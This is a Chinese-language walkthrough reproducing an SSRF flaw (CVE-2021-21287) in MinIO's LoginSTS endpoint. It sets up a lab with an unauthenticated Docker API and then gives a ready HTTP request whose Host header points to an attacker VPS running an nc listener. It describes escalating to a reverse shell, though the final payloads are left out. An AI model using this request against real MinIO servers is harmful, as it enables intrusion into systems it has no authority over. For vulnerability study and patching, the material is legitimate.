1、漏洞简介
MinIO 是一款基于Go语言发开的高性能、分布式的对象存储系统。客户端支持Java,Net,Python,Javacript, Golang语言。
由于MinIO组件中LoginSTS接口设计不当,导致存在服务器端请求伪造漏洞。
攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令。
2、影响版本
MinIO < RELEASE.2021-01-30T00-20-58Z
3、漏洞分析
MinIO 组件中 LoginSTS 接口其实是 AWS STS 登录接口的一个代理,用于将发送到 JsonRPC 的请求转变成 STS 的方式转发给本地的 9000 端口。
由于逻辑设计不当,MinIO 会将用户发送的 HTTP 头 Host 中获取到地址作为 URL 的 Host 来构造新的 URL,但由于请求头是用户可控的,所以可以构造任意的 Host,最终导致存在 SSRF 漏洞。
4、环境搭建
靶机:10.57.201.77
攻击机:公网vps
靶机环境搭建操作:(kali)
4.1、启用Docker API
systemctl status docker
vim lib/systemd/system/docker.service
编辑配置文件(docker.service)找到:ExecStart=/usr/bin/dockerd
修改原配置为:
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
修改之后重启:
systemctl daemon-reload
systemctl restart docker
验证:
netstat -nltp |grep2375
4.2、启MinIO服务
mkdir CVE-2021-21287
cd CVE-2021-21287
vim docker-compose.yml
编辑docker-compose.yml:
version: '3.7'
services:
minio1:
image: minio/minio:RELEASE.2021-01-16T02-19-44Z
volumes:
- data1-1:/data1
- data1-2:/data2
ports:
- "9000:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
data1-1:
data1-2:
docker开启服务:
docker-compose -f docker-compose.yml up -d
4.3 靶场访问
访问:http://10.57.201.77:9000
5、SSRF漏洞测试
5.1 使用vps监听8888端口
nc -lvvp 888
5.2 使用burpsuit抓取登录POST数据包
5.3 burp发送repeater,构造payload
5.4、payload附件:
##数据包payload
POST /minio/webrpc HTTP/1.1
Host: $(101.x.x.x:888)
Content-Length: 79
x-amz-date: 20220927T091453Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://10.57.201.77:9000
Referer: http://10.57.201.77:9000/minio/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"id":1,"jsonrpc":"2.0","params":{"token": "test"},"method":"web.LoginSTS"}
6、漏洞进一步利用(反弹shell)
6.1 添加一个 DockerFile 通过 API 来进行创建容器 --成功
6.2 接管MinIO,反弹shell,控制靶机 --成功
备注:进一步利用需要vps起一个web服务(建议使用云宝塔搭建lamp),供靶机请求vps的index.php,再通过 Docker API 去 build 获取 80 端口下面的 DockerFile。
index.php及Dockerfile文件payload本文未附加!!!
7、整改建议
MinIO已更新修复了此漏洞,建议更新到新版本,下载地址: https://github.com/minio/minio
版权归原作者 . after 所有, 如有侵权,请联系我们删除。